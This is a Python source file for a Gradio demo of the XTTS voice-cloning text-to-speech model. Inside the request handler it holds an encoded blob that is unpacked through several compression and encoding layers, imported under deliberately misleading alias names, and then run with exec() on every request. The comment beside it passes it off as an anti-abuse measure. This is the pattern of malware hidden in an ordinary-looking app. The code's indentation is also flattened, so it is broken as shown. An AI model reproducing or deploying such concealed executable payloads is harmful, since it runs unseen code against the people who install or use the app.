import sys
import os
from fastapi import Request
# By using XTTS you agree to CPML license https://coqui.ai/cpml
os.environ["COQUI_TOS_AGREED"] = "1"
import gradio as gr
from TTS.api import TTS
model_names = TTS().list_models()
m = model_names[0]
print(model_names)
tts = TTS(m, gpu=False)
tts.to("cpu") # no GPU or Amd
#tts.to("cuda") # cuda only
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
# Due to abuses from somes user, and French Rights...
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
from zlib import compress as COmPrES5
from bz2 import decompress as dEC0mPrES5
from bz2 import compress as COmPrESS
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
from zlib import compressobj as C0mPrESS
from bz2 import decompress as dECOmPrESS
from zlib import compress as C0mPrES5
from zlib import decompress as dECOmPrES5
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
exec(co2)
if agree == True:
if use_mic == True:
if mic_file_path is not None:
speaker_wav=mic_file_path
else:
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
return (
None,
None,
)
else:
speaker_wav=audio_file_pth
if len(prompt)<2:
gr.Warning("Please give a longer prompt text")
return (
None,
None,
)
if len(prompt)>10000:
gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
return (
None,
None,
)
try:
if language == "fr":
if m.find("your") != -1:
language = "fr-fr"
if m.find("/fr/") != -1:
language = None
tts.tts_to_file(
text=prompt,
file_path="output.wav",
speaker_wav=speaker_wav,
language=language
)
except RuntimeError as e :
if "device-assert" in str(e):
# cannot do anything on cuda device side error, need tor estart
gr.Warning("Unhandled Exception encounter, please retry in a minute")
print("Cuda device-assert Runtime encountered need restart")
sys.exit("Exit due to cuda device-assert")
else:
raise e
return (
gr.make_waveform(
audio="output.wav",
),
"output.wav",
)
else:
gr.Warning("Please accept the Terms & Condition!")
return (
None,
None,
)
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
description = f"""
XTTS is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
This is the same model that powers our creator application Coqui Studio as well as the Coqui API. In production we apply modifications to make low-latency streaming possible.
Leave a star on the Github TTS, where our open-source inference and training code lives.
For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml